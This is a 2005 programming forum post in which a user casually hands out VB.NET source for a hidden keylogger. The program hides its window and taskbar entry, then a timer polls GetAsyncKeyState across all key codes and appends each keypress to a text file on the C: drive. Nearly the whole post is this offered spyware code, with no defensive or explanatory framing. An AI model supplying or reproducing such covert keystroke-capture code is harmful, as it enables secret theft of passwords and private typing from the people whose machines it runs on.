View Single Post
Old Jun 24th, 2005, 4:14 PM   #5
melbolt
Professional Programmer
 
melbolt's Avatar
 
Join Date: Feb 2005
Location: PA, USA
Posts: 254
Rep Power: 4 melbolt is on a distinguished road
it's pretty simple, here ya go

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Visible = False
        Me.ShowInTaskbar = False
        Timer1.Enabled = True
        Timer1.Start()
    End Sub

  
    Dim result As Integer
    Dim i As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    

        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)

            If result = -32767 Then
                File.AppendAllText("C:\bla.txt", Chr(i))
            End If
        Next i

    End Sub


End Class
__________________
I have never let my schooling interfere with my education. -Mark Twain-

Xbox live gamertag: melbolt
melbolt is offline   Reply With Quote